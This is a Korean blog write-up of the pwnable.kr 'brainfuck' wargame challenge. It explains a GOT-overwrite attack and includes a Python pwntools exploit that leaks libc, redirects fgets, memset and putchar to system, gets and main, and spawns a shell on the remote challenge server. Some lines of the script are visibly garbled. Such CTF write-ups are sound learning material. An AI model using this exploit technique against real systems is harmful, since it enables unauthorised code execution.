hOwDayS 선린 10720

pwnable.kr brainfuck 본문

공부/pwnable.kr

pwnable.kr brainfuck

hOwDayS 2018. 1. 20. 17:05


fgets로 입력을 받은 다음 한글자씩 do_brainfuck 함수로 넘겨 주고 있다


do_brainfuck 함수안은 이렇다.


do_brainfuck로 넘겨준 글자를 아스키코드로 비교를 하여 실행한다. 

p 는 tape의 주소다


여기서 어떻게 쉘을 실행시킬까 생각을 했다.

got을 조작하여 쉘을 실행시키려 한다


main 함수에서는


memset을 실행후 fgets을 실행하는데


memset , fgets , putchar 각각의 got을 조작하여 쉘을 실행시킨다


memset 의 got 을 gets으로 조작하여 /bin/sh을 입력하고

fgets의 got을 system으로 조작하고

putchar 의 got을 main으로 조작하여 

putchar을 실행시키면 쉘을 따낸다



brainfuck.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
tape_addr = 0x0804A0A0
fgets_addr = 0x0804A010
memset_addr = 0x0804A02C
putchar_addr = 0x0804A030
 
def send_brainfuck():
 
        payload = "<" * (tape_addr - fgets_addr) # go to fgets
        payload += ".>" * 4 #print fgets address
        payload += "<" * 4 # go to fgets
        payload += ",>" * 4 #overwrite fgets system
        payload += "<" * 4 # go to fgets
 
        payload += ">" * (memset_addr - fgets_addr) # go to memset
        payload += ",>" * 4 #overwrite memset gets
        payload += "<" * 4
 
        payload += ">"* (putchar_addr - memset_addr)
        payload += ",>" * 4 # overwrite putchar main
        payload += "." # run putchar = main
        print("PAYLOAD : " + payload)
        return payload
 
def run():
        libc = ELF("./bf_libc.so")
        s = remote("pwnable.kr",9001)
 
        s.recvline_startswith("type"#read line which starts "type"    
        s.sendline(send_brainfuck()) # send payload
 
        recv_fgets_addr = s.recvn(4)[::-1].encode('hex')
        libc_base = int(recv_fgets_addr,16- libc.symbols['fgets']
        send_system_addr =  libc.symbols['system'+ libc_base
        send_gets_addr =  libc.symbols['gets'+ libc_base
 
        s.send(p32(send_system_addr))
        s.send(p32(send_gets_addr))
        s.send(p32(0x08048671))
        s.sendline('/bin/sh\00')
        s.interactive()
 
 
run()
 
cs

'공부 > pwnable.kr' 카테고리의 다른 글

pwnable.kr otp  (0) 2018.01.20
pwnable.kr simplelogin  (0) 2018.01.20
pwnable asm  (0) 2018.01.12
pwnable uaf  (0) 2018.01.11
pwnable.kr lotto  (0) 2018.01.11
Comments